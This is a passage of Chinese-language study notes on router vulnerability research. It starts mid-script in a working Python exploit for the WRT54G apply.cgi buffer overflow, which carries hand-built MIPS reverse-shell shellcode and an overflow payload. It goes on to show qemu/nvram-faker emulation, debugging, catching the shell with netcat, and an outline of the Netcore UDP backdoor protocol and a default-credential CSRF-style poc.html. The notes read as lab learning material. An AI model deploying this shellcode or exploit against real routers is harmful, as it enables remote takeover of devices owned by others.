    mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\x0e\x3c"   # lui t6,0x1f90
    mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\xce\x35"   # ori t6,t6,0x1f90
    mipselshell+="\xe4\xff\xae\xaf"   # sw t6,-28(sp)
    mipselshell+=struct.pack('<2c',hosts[1],hosts[0]) + "\x0e\x3c"   # lui t6,0x7f01
    mipselshell+=struct.pack('<2c',hosts[3],hosts[2]) + "\xce\x35"   # ori t6,t6,0x101
    mipselshell+="\xe6\xff\xae\xaf"   # sw t6,-26(sp)
    mipselshell+="\xe2\xff\xa5\x27"   # addiu a1,sp,-30
    mipselshell+="\xef\xff\x0c\x24"   # li t4,-17
    mipselshell+="\x27\x30\x80\x01"   # nor a2,t4,zero
    mipselshell+="\x4a\x10\x02\x24"   # li v0,4170  # sys_connect
    mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404
    mipselshell+="\xfd\xff\x11\x24"   # li s1,-3
    mipselshell+="\x27\x88\x20\x02"   # nor s1,s1,zero
    mipselshell+="\xff\xff\xa4\x8f"   # lw a0,-1(sp)
    mipselshell+="\x21\x28\x20\x02"   # move a1,s1 # dup2_loop
    mipselshell+="\xdf\x0f\x02\x24"   # li v0,4063 # sys_dup2
    mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404
    mipselshell+="\xff\xff\x10\x24"   # li s0,-1
    mipselshell+="\xff\xff\x31\x22"   # addi s1,s1,-1
    mipselshell+="\xfa\xff\x30\x16"   # bne s1,s0,68 <dup2_loop>
    mipselshell+="\xff\xff\x06\x28"   # slti a2,zero,-1
    mipselshell+="\x62\x69\x0f\x3c"   # lui t7,0x2f2f "bi"
    mipselshell+="\x2f\x2f\xef\x35"   # ori t7,t7,0x6269 "//"
    mipselshell+="\xec\xff\xaf\xaf"   # sw t7,-20(sp)
    mipselshell+="\x73\x68\x0e\x3c"   # lui t6,0x6e2f "sh"
    mipselshell+="\x6e\x2f\xce\x35"   # ori t6,t6,0x7368 "n/"
    mipselshell+="\xf0\xff\xae\xaf"   # sw t6,-16(sp)
    mipselshell+="\xf4\xff\xa0\xaf"   # sw zero,-12(sp)
    mipselshell+="\xec\xff\xa4\x27"   # addiu a0,sp,-20
    mipselshell+="\xf8\xff\xa4\xaf"   # sw a0,-8(sp)
    mipselshell+="\xfc\xff\xa0\xaf"   # sw zero,-4(sp)
    mipselshell+="\xf8\xff\xa5\x27"   # addiu a1,sp,-8
    mipselshell+="\xab\x0f\x02\x24"   # li v0,4011 # sys_execve
    mipselshell+="\x0c\x01\x01\x01"  # syscall 0x40404
    print 'ending ...'
    return mipselshell 
try:
    target = sys.argv[1]
except:
    print "Usage: %s <target>" % sys.argv[0]
    sys.exit(1) 
url = "http://%s/apply.cgi" % target
sip='127.0.0.1'     #reverse_tcp local_ip
sport = 4444            #reverse_tcp local_port
#DataSegSize = 0x4000
host=socket.ntohl(struct.unpack('<I',socket.inet_aton(sip))[0])
payload = makepayload(host,sport)
addr = struct.pack("<L",0x10001AD8)
#DataSegSize = 0x4000
#buf = "\x00"*(10000-len(payload))+payload+addr*(DataSegSize/4)
buf = "\x00"*(10000-len(payload))+payload+addr*(36616/4+1)
req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()

由于没有真机,只能通过模拟来进行调试。模拟过程中需要出现nvram错误,由于这里是模拟环境,没有nvram环境,所以需要修复nvram环境。

$ sudo chroot . ./qemu ./usr/sbin/httpd
/dev/nvram: No such file or directory
/var/run/httpd.pid: No such file or directory

下载编译nvram-faker进行修复

git clone https://github.com/zcutlip/nvram-faker.git

在nvram-faker中提供了劫持nvram_get() 函数的方法,为了让程序运行,还需要劫持一个函数get_mac_from_ip(const char*ip),为了方便使用IDA或者GDB调试,我们把fork()函数一并劫持,否则fork()函数产生的多进程会让调试过程异常复杂。修改在nvram-faker.c和nvram-faker.h中分别增加下面的代码

#nvram-faker.c
int fork(void)
{
        return 0;
}
char *get_mac_from_ip(const char*ip)
{
        char mac[]="00:50:56:C0:00:08";
        char *rmac = strdup(mac);
        return rmac;
}
#nvram-faker.h
char *get_mac_from_ip(const char*ip);
int fork(void);

这里将buildmipsel.sh脚本中的mipsel-linux-gcc等修改成机器上有的mipsel-linux-gnu-gcc等,这里的交叉编译工具不全,需要安装。

sudo apt-get install -y gcc-mipsel-linux-gnu

运行对应架构的脚本进行动态库编译

./buildmipsel.sh

运行脚本进行编译出现错误

$ sh buildmipsel.sh
/usr/bin/mipsel-linux-gnu-gcc -Wall -I./contrib/inih -ggdb -DINI_MAX_LINE=2000 -DINI_USE_STACK=0 -fPIC -c -o nvram-faker.o nvram-faker.c
make -C ./contrib/inih ini.o
make[1]: Entering directory '/home/x/environment/nvram-faker/contrib/inih'
make[1]: 'ini.o' is up to date.
make[1]: Leaving directory '/home/x/environment/nvram-faker/contrib/inih'
cp ./contrib/inih/ini.o .
/usr/bin/mipsel-linux-gnu-gcc -shared -o libnvram-faker.so nvram-faker.o ini.o -Wl,-nostdlib
/usr/lib/gcc-cross/mipsel-linux-gnu/5/../../../../mipsel-linux-gnu/bin/ld: ini.o: Relocations in generic ELF (EM: 62)
/usr/lib/gcc-cross/mipsel-linux-gnu/5/../../../../mipsel-linux-gnu/bin/ld: ini.o: Relocations in generic ELF (EM: 62)
/usr/lib/gcc-cross/mipsel-linux-gnu/5/../../../../mipsel-linux-gnu/bin/ld: ini.o: Relocations in generic ELF (EM: 62)
/usr/lib/gcc-cross/mipsel-linux-gnu/5/../../../../mipsel-linux-gnu/bin/ld: ini.o: Relocations in generic ELF (EM: 62)
/usr/lib/gcc-cross/mipsel-linux-gnu/5/../../../../mipsel-linux-gnu/bin/ld: ini.o: Relocations in generic ELF (EM: 62)
ini.o: error adding symbols: File in wrong format
collect2: error: ld returned 1 exit status
Makefile:38: recipe for target 'libnvram-faker.so' failed
make: *** [libnvram-faker.so] Error 1

问题原因是在没有安装mipsel-linux-gnu-gcc的时候进行过一次编译,系统在没有对应架构的编译工具的时候会用本机的工具进行编译(这里也对/contrib/inih目录中的ini.c进行了编译),后面重新编译的过程中清理了外面错误架构的nvram-faker.o等,但是没有清理/contrib/inih目录中错误的编译结果,导致后面编译时调用错误架构的ini.o进行编译,发生格式错误wrong format

将生成的libnvram-faker.so和同目录下的nvram.ini复制到WRT54G路由器的根文件系统中,将使用共享库编译交叉编译环境中lib库下的libgcc_s.so.1复制到WRT54G路由器的根文件系统中的lib目录下。

cp /usr/mipsel-linux-gnu/lib/libgcc_s.so.1 ./lib

修复环境

rm -rf var;mkdir var;mkdir ./var/run;mkdir ./var/tmp;touch ./var/run/lock;touch ./var/run/crod.pid;touch httpd.pid

编写运行脚本(这个脚本提供了两种模式,一种是不需要调试器介入直接运行程序的执行模式,另一种是开放1234调试接口等待调试器连接)

# usage: sh run_cgi.sh debug   #debug mode
#       sh run_cgi.sh         #execute mode
#!/bin/bash
DEBUG="$1"
LEN=$(echo  "$DEBUG" | wc -c)
cp $(which qemu-mipsel-static) ./qemu
if [ "$LEN" -eq 1 ]
then
        echo "EXECUTE MODE !\n"
        sudo chroot ./ ./qemu -E LD_PRELOAD="/libnvram-faker.so" ./usr/sbin/httpd
else
        echo "DEBUG MODE !\n"
        sudo chroot ./ ./qemu -E LD_PRELOAD="/libnvram-faker.so" -g 1234 ./usr/sbin/httpd
rm qemu
fi

运行sh run_cgi.sh,发现依然发生了错误,httpd程序没有成功运行。

$ sh run_cgi.sh
EXECUTE MODE !

./usr/sbin/httpd: linked against GNU libc!

跟踪整个启动过程,应该在加载libc的过程中出现了问题。

$ sudo chroot . /qemu -E LD_PRELOAD="/libnvram-faker.so" -strace ./usr/sbin/httpd
13354 mmap(NULL,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,0,0) = 0x767b7000
13354 mprotect(0x767b8000,25424,PROT_EXEC|PROT_READ|PROT_WRITE) = 0
13354 mprotect(0x00400000,312752,PROT_EXEC|PROT_READ|PROT_WRITE) = 0
13354 readlink("/lib/ld-uClibc.so.0",0x76fff2b8,1024) = -1 errno=22 (Invalid argument)
13354 open("/libnvram-faker.so",O_RDONLY) = 3
13354 read(3,0x76ffe128,4096) = 4096
13354 mmap(NULL,77824,PROT_NONE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x767a4000
13354 mmap(0x767a4000,7716,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_FIXED,3,0) = 0x767a4000
13354 mmap(0x767b5000,4256,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED,3,0x1000) = 0x767b5000
13354 close(3) = 0
13354 open("/lib/libnvram.so",O_RDONLY) = -1 errno=2 (No such file or directory)
13354 open("//usr/X11R6/lib/libnvram.so",O_RDONLY) = -1 errno=2 (No such file or directory)
13354 open("//usr/lib/libnvram.so",O_RDONLY) = 3
13354 read(3,0x76ffd8e8,4096) = 4096
13354 mmap(NULL,278528,PROT_NONE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x76760000
13354 mmap(0x76760000,12240,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_FIXED,3,0) = 0x76760000
13354 mmap(0x767a2000,5056,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED,3,0x2000) = 0x767a2000
13354 close(3) = 0
13354 open("/lib/libshared.so",O_RDONLY) = -1 errno=2 (No such file or directory)
13354 open("//usr/X11R6/lib/libshared.so",O_RDONLY) = -1 errno=2 (No such file or directory)
13354 open("//usr/lib/libshared.so",O_RDONLY) = 3
13354 read(3,0x76ffd8e8,4096) = 4096
13354 mmap(NULL,372736,PROT_NONE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x76705000
13354 mmap(0x76705000,100240,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_FIXED,3,0) = 0x76705000
13354 mmap(0x7675d000,7844,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED,3,0x18000) = 0x7675d000
13354 mmap(0x7675f000,2368,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,-1,0) = 0x7675f000
13354 close(3) = 0
13354 open("/lib/libcrypto.so",O_RDONLY) = -1 errno=2 (No such file or directory)
13354 open("//usr/X11R6/lib/libcrypto.so",O_RDONLY) = -1 errno=2 (No such file or directory)
13354 open("//usr/lib/libcrypto.so",O_RDONLY) = 3
13354 read(3,0x76ffd8e8,4096) = 4096
13354 mmap(NULL,1298432,PROT_NONE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x765c8000
13354 mmap(0x765c8000,980880,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_FIXED,3,0) = 0x765c8000
13354 mmap(0x766f7000,42288,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED,3,0xef000) = 0x766f7000
13354 mmap(0x76702000,9808,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,-1,0) = 0x76702000
13354 close(3) = 0
13354 open("/lib/libssl.so",O_RDONLY) = -1 errno=2 (No such file or directory)
13354 open("//usr/X11R6/lib/libssl.so",O_RDONLY) = -1 errno=2 (No such file or directory)
13354 open("//usr/lib/libssl.so",O_RDONLY) = 3
13354 read(3,0x76ffd8e8,4096) = 4096
13354 mmap(NULL,458752,PROT_NONE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x76558000
13354 mmap(0x76558000,184400,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_FIXED,3,0) = 0x76558000
13354 mmap(0x765c5000,8604,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED,3,0x2d000) = 0x765c5000
13354 close(3) = 0
13354 open("/lib/libc.so.0",O_RDONLY) = 3
13354 read(3,0x76ffd8e8,4096) = 4096
13354 mmap(NULL,487424,PROT_NONE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x764e1000
13354 mmap(0x764e1000,216132,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_FIXED,3,0) = 0x764e1000
13354 mmap(0x76555000,5740,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED,3,0x34000) = 0x76555000
13354 mmap(0x76557000,3324,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,-1,0) = 0x76557000
13354 close(3) = 0
13354 write(2,0x76ffea50,0) = 0
13354 write(2,0x76fff8e2,16)./usr/sbin/httpd = 16
13354 write(2,0x76ffea52,27): linked against GNU libc!
 = 27
13354 exit(150)

这里怀疑是因为交叉编译用的是apt-get下载的gnu工具链的问题,使用一组别人编译的mipsel交叉编译工具链重新编译libnvram-faker.so,然后运行依然出错。

$ sudo chroot ./ ./qemu -E LD_PRELOAD="/libnvram-faker.so" ./usr/sbin/httpd
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1]    5101 segmentation fault (core dumped)  sudo chroot ./ ./qemu -E LD_PRELOAD="/libnvram-faker.so" ./usr/sbin/httpd

跟踪运行流程

$ sudo chroot ./ ./qemu -E LD_PRELOAD="/libnvram-faker.so" -strace ./usr/sbin/httpd
5116 mmap(NULL,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,0,0) = 0x767b7000
5116 mprotect(0x767b8000,25424,PROT_EXEC|PROT_READ|PROT_WRITE) = 0
5116 mprotect(0x00400000,312752,PROT_EXEC|PROT_READ|PROT_WRITE) = 0
5116 readlink("/lib/ld-uClibc.so.0",0x76fff2b8,1024) = -1 errno=22 (Invalid argument)
5116 open("/libnvram-faker.so",O_RDONLY) = 3
5116 read(3,0x76ffe128,4096) = 4096
5116 mmap(NULL,274432,PROT_NONE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x76774000
5116 mmap(0x76774000,8020,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_FIXED,3,0) = 0x76774000
5116 mmap(0x767b6000,188,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED,3,0x2000) = 0x767b6000
5116 close(3) = 0
5116 open("/lib/libnvram.so",O_RDONLY) = -1 errno=2 (No such file or directory)
5116 open("//usr/X11R6/lib/libnvram.so",O_RDONLY) = -1 errno=2 (No such file or directory)
5116 open("//usr/lib/libnvram.so",O_RDONLY) = 3
5116 read(3,0x76ffd8e8,4096) = 4096
5116 mmap(NULL,278528,PROT_NONE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x76730000
5116 mmap(0x76730000,12240,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_FIXED,3,0) = 0x76730000
5116 mmap(0x76772000,5056,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED,3,0x2000) = 0x76772000
5116 close(3) = 0
5116 open("/lib/libshared.so",O_RDONLY) = -1 errno=2 (No such file or directory)
5116 open("//usr/X11R6/lib/libshared.so",O_RDONLY) = -1 errno=2 (No such file or directory)
5116 open("//usr/lib/libshared.so",O_RDONLY) = 3
5116 read(3,0x76ffd8e8,4096) = 4096
5116 mmap(NULL,372736,PROT_NONE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x766d5000
5116 mmap(0x766d5000,100240,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_FIXED,3,0) = 0x766d5000
5116 mmap(0x7672d000,7844,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED,3,0x18000) = 0x7672d000
5116 mmap(0x7672f000,2368,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,-1,0) = 0x7672f000
5116 close(3) = 0
5116 open("/lib/libcrypto.so",O_RDONLY) = -1 errno=2 (No such file or directory)
5116 open("//usr/X11R6/lib/libcrypto.so",O_RDONLY) = -1 errno=2 (No such file or directory)
5116 open("//usr/lib/libcrypto.so",O_RDONLY) = 3
5116 read(3,0x76ffd8e8,4096) = 4096
5116 mmap(NULL,1298432,PROT_NONE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x76598000
5116 mmap(0x76598000,980880,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_FIXED,3,0) = 0x76598000
5116 mmap(0x766c7000,42288,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED,3,0xef000) = 0x766c7000
5116 mmap(0x766d2000,9808,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,-1,0) = 0x766d2000
5116 close(3) = 0
5116 open("/lib/libssl.so",O_RDONLY) = -1 errno=2 (No such file or directory)
5116 open("//usr/X11R6/lib/libssl.so",O_RDONLY) = -1 errno=2 (No such file or directory)
5116 open("//usr/lib/libssl.so",O_RDONLY) = 3
5116 read(3,0x76ffd8e8,4096) = 4096
5116 mmap(NULL,458752,PROT_NONE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x76528000
5116 mmap(0x76528000,184400,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_FIXED,3,0) = 0x76528000
5116 mmap(0x76595000,8604,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED,3,0x2d000) = 0x76595000
5116 close(3) = 0
5116 open("/lib/libc.so.0",O_RDONLY) = 3
5116 read(3,0x76ffd8e8,4096) = 4096
5116 mmap(NULL,487424,PROT_NONE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x764b1000
5116 mmap(0x764b1000,216132,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_FIXED,3,0) = 0x764b1000
5116 mmap(0x76525000,5740,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED,3,0x34000) = 0x76525000
5116 mmap(0x76527000,3324,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,-1,0) = 0x76527000
5116 close(3) = 0
5116 mprotect(0x00400000,312752,PROT_EXEC|PROT_READ) = 0
5116 mprotect(0x767b8000,25424,PROT_EXEC|PROT_READ) = 0
5116 ioctl(0,21517,1996485056,0,0,0) = 0
5116 ioctl(1,21517,1996485056,0,0,0) = 0
5116 brk(0x100100a0) = 0x100100a0
5116 brk(0x10011000) = 0x10011000
5116 brk(0x10012000) = 0x10012000
5116 brk(0x10013000) = 0x10013000
5116 brk(0x10014000) = 0x10014000
5116 open("/nvram.ini",O_RDONLY) = 3
5116 ioctl(3,21517,1996484888,0,0,0) = -1 errno=25 (Inappropriate ioctl for device)
5116 brk(0x10015000) = 0x10015000
5116 read(3,0x10013000,256) = 256
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1]    5115 segmentation fault (core dumped)  sudo chroot ./ ./qemu -E LD_PRELOAD="/libnvram-faker.so" -strace

对比前后两次跟踪的过程可以发现这一次在打开nvram.ini文件的过程中出了错,说明成功调用了libnvram-faker.so库

$ grep -r "/nvram.ini"
Binary file libnvram-faker.so matches

那么这里怀疑的问题是nvram.ini文件中的格式有问题,这里我们删除nvram.ini文件中的所有内容,然后运行命令,httpd程序成功启动并开启1234端口调试,这是由于这里nvram.ini中没有内容,所以运行过程中会打印一些信息未知。(这里按照书上讲的直接复制nvram.ini出错,需要研究学习以下关于nvram.ini的写法)

$ sudo chroot ./ ./qemu -E LD_PRELOAD="/libnvram-faker.so"  -g  1234 ./usr/sbin/httpd
LOG_HTTPD=Unknown
http_client_ip=Unknown
/dev/nvram: No such file or directory
http_client_mac=Unknown
/dev/nvram: No such file or directory
http_username=Unknown
http_passwd=Unknown
router_name=Unknown

检查端口开放情况发现80端口开启服务。

$ netstat -antp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -
tcp        0    316 192.168.33.3:22         192.168.33.2:43026      ESTABLISHED -
tcp        0      0 192.168.33.3:22         192.168.33.2:40063      ESTABLISHED -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 ::1:631                 :::*                    LISTEN      -

开始进行动态调试

在执行strlen函数之前下断点并继续运行

b *0x4112D8

执行测试脚本wrt54g-2.py

import sys
import urllib2 
try:
    target = sys.argv[1]
except:
    print "Usage: %s <target>" % sys.argv[0]
    sys.exit(1) 
url = "http://%s/apply.cgi" % target
buf  = "\x42"*46616+"\x41"*4      # POST parameter name 
req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()
python wrt54g-2.py 127.0.0.1

程序并没有在0x4112D8处断下来,而是停止在前面的0x4112cc处停了下来并且没办法继续向下运行了。检查保存strlen函数地址的内存0x1000D0F0处发现成功覆盖成0x41414141。

pwndbg> x/2wx 0x1000D0F0-4
0x1000d0ec:     0x42424242      0x41414141

使用上面构造payload的完整wrt54g.py

python wrt54g.py 127.0.0.1

在调用strlen函数的0x4112d8处下断点,查看原存放strlen函数地址的内存0x1000D0F0位置,发现这里strlen函数的地址被覆盖成post_buf的内存地址(0x10001ad8)

pwndbg> x/wx 0x1000D0F0
0x1000d0f0:     0x10001ad8

继续逐步运行会执行写入其中的shellcode。

使用运行模式(不加调试端口)运行httpd

$ sudo chroot . ./qemu -E LD_PRELOAD="/libnvram-faker.so" ./usr/sbin/httpd

并在一个终端中开启监听本机端口4444

nc -lvvp 4444

在本机上运行wrt54g.py

python wrt54g.py 127.0.0.1

这时监听4444端口的终端监听到一个连接,说明shellcode执行成功。

第14章 磊科全系列路由器后门漏洞

协议报文结构后门与认证硬编码

下载磊科(netcore)的NW774的升级固件,用binwalk解包。在文件系统根目录下用find命令查找已经找不到/bin/igdmptd这个漏洞核心组件了。

查看/etc/service,查找程序igdmptd对应的服务端口。

$ cat ./etc/services| grep igdmptd
igdmptd         53413/udp                       #igdmptd daemon @netcore

说明升级的固件中将这个漏洞组件删除了。

没有花费太多的精力去找这个历史固件,这里/bin/igdmptd对后门漏洞的细节进行梳理

create_socket函数创建socket会话,调用getBr0IP函数

getBr0IP函数调用ioctl函数获取br0网卡的IP地址,在该网卡上进行监听,并使用Socket函数创建UDP协议的Socket会话,绑定UDP端口53413

event_loop按照下面支持的通信命令协议首先检查登录状态,然后用于完成整个后门命令字的接受、执行传送的命令字及执行结果的回传,是该后门的核心处理代码。

支持的通信命令协议:

{2字节}+"\x00\x00"+{命令附加选项2字节}+netcore #登录协议
{2字节}+"\x00\x00"+{命令附加选项2字节}+xxxxxx #do_syscmd协议
{2字节}+"\x00\x01"+{命令附加选项2字节}+xxxxxx #do_getfile协议
{2字节}+"\x00\x02"+{命令附加选项2字节}+xxxxxx #do_putfile协议
{2字节}+"\x00\x00"+{命令附加选项2字节}+$+xxxxxx #do_mptfun协议
{2字节}+"\x00\x00"+{命令附加选项2字节}+?#获取程序版本信息协议
  • 判断是基础认证方式

抓包验证请求头数据中的Authorization参数使用base64编码,解析后为admin:admin

浏览器调试模式下查看管理网页没有存储Cookie,说明登录权限与Cookie无关

由上面两点可以判断采用基础认证方式,构造http://admin:admin@192.168.0.1基础认证链接可以直接登录路由器管理界面

  • 构造poc.html

分析apply.cgi页面开启远程管理选项提交的数据,设置控制参数management

根据基础认证方式获得管理页面权限,利用研究的更改路由器设置页面的参数提交格式构造poc.html

目标路由器访问poc.html实现对目标路由器设置的修改

第16章 路由器硬件提取

  • 路由器FLASH分成四个区块

bootloader——从开机上电到操作系统启动的引导程序。通过这段小程序,我们可以初始化硬件设备、建立内存空间的映射表,从而建立适当的系统软硬件环境,为最终调用操作系统内核做好准备。例如U-Boot。参考

kernel——操作系统内核

Root Filesystem——操作系统根文件系统,如squashfs、rootfs等。

NVRAM——保存路由器中的配置文件。路由器启动的时候会从中读取配置文件。

  • 硬件提取思路:JTAG接口、取下Flash芯片、芯片夹

  • 串口调试URAT四个主要引脚:VCC、GND(接地)、TXD(数据发送)、RXD(数据接收)

JTAG连接、brjtag使用提取

第17章 路由器漏洞挖掘技术

危险函数

  • 用户提供数据来源
    • 命令行参数:argv操作
    • 环境变量:getenv()
    • 输入数据文件:read()、fscanf()、getc()、fgetc()、fgets()、vfscanf()
    • 键盘输入/stdin:read()、scanf()、getchar()、gets()
    • 网络数据:read()、recv()、recvfrom()
  • 数据操作
    • 字符串复制:strcpy()、strncpy()
    • 命令执行:system()、execve()
    • 字符串合并:strcat()
    • 格式化字符串:sprintf()、snprintf()

二进制自动化漏洞审计工具

  • BugScam——用于IDA pro的脚本,只支持x86,不支持RISC架构

模糊测试——Fuzzing

步骤:

  • 确定输入变量
  • 生成模糊测试数据
  • 执行模糊测试
  • 监视异常
  • 根据被测试系统状态判断是否存在潜在安全漏洞。

工具

SPIKE、Sulley、Burpsuite Spider

DIR-605L漏洞挖掘

下载DIR-605L固件,使用binwalk解包,找到Web服务器程序/bin/boa

$ file ./bin/boa
./bin/boa: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, corrupted section header size

启动boa程序

$ cp $(which qemu-mips-static) ./qemu
$ sudo chroot . ./qemu ./bin/boa
Initialize AP MIB failed!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1]    16947 segmentation fault (core dumped)  sudo chroot . ./qemu ./bin/boa

跟踪程序启动工程可以发现第一个报错发生在打开/dev/mtd的时候,用grep命令在库/lib/apmib.so中发现这个字符串,说明可能是调用这个库的时候出现的问题。

$ sudo chroot . ./qemu -strace ./bin/boa
......
......
16996 open("/dev/mtd",O_RDWR) = -1 errno=2 (No such file or directory)
16996 write(1,0x7671a830,26)Initialize AP MIB failed!
......
......
$ grep -r "/dev/mtd"
Binary file bin/flash matches
bin/check_pack.sh:      mount -t squashfs /dev/mtdblock2 /web-lang
Binary file bin/boa matches
bin/init.sh:mount -t squashfs /dev/mtdblock2 /web-lang
bin/init.sh:mount -t squashfs /dev/mtdblock3 /mydlink
etc/profile:mount -t squashfs /dev/mtdblock2 /web-lang
etc/profile:mount -t squashfs /dev/mtdblock3 /mydlink
Binary file lib/apmib.so matches

将boa放到IDA中进行分析,发现当apmib_init()返回值为0时会打印Initialize AP MIB failed!,apmib_init()定义在动态链接库/lib/apmib.so

if ( !apmib_init() )
    return puts("Initialize AP MIB failed!");

跟踪过程

$ sudo chroot . ./qemu -strace ./bin/boa
22290 mmap(NULL,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x767b7000
22290 stat("/etc/ld.so.cache",0x76fff410) = -1 errno=2 (No such file or directory)
22290 open("/lib/apmib.so",O_RDONLY) = 3
22290 fstat(3,0x76ffeb58) = 0
22290 mmap(NULL,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x767b6000
22290 read(3,0x767b6000,4096) = 4096
22290 mmap(NULL,323584,PROT_NONE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x76767000
22290 mmap(0x76767000,36452,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_FIXED,3,0) = 0x76767000
22290 mmap(0x767b0000,20332,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED,3,0x9000) = 0x767b0000
22290 mmap(0x767b5000,1540,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,-1,0) = 0x767b5000
22290 close(3) = 0
22290 munmap(0x767b6000,4096) = 0
22290 open("../../../mini_upnp/mini_upnp.so",O_RDONLY) = -1 errno=2 (No such file or directory)
22290 open("/lib/mini_upnp.so",O_RDONLY) = 3
22290 fstat(3,0x76ffeb48) = 0
22290 mmap(NULL,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x76766000
22290 read(3,0x76766000,4096) = 4096
22290 mmap(NULL,294912,PROT_NONE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x7671e000
22290 mmap(0x7671e000,29764,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_FIXED,3,0) = 0x7671e000
22290 mmap(0x76765000,1440,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED,3,0x7000) = 0x76765000
22290 close(3) = 0
22290 munmap(0x76766000,4096) = 0
22290 open("/lib/libc.so.0",O_RDONLY) = 3
22290 fstat(3,0x76ffeb38) = 0
22290 mmap(NULL,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x7671d000
22290 read(3,0x7671d000,4096) = 4096
22290 mmap(NULL,491520,PROT_NONE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x766a5000
22290 mmap(0x766a5000,209744,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_FIXED,3,0) = 0x766a5000
22290 mmap(0x76718000,4136,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED,3,0x33000) = 0x76718000
22290 mmap(0x7671a000,10408,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,-1,0) = 0x7671a000
22290 close(3) = 0
22290 munmap(0x7671d000,4096) = 0
22290 open("/lib/libgcc_s_4181.so.1",O_RDONLY) = 3
22290 fstat(3,0x76ffeb28) = 0
22290 mmap(NULL,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x766a4000
22290 read(3,0x766a4000,4096) = 4096
22290 mmap(NULL,311296,PROT_NONE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x76658000
22290 mmap(0x76658000,46740,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_FIXED,3,0) = 0x76658000
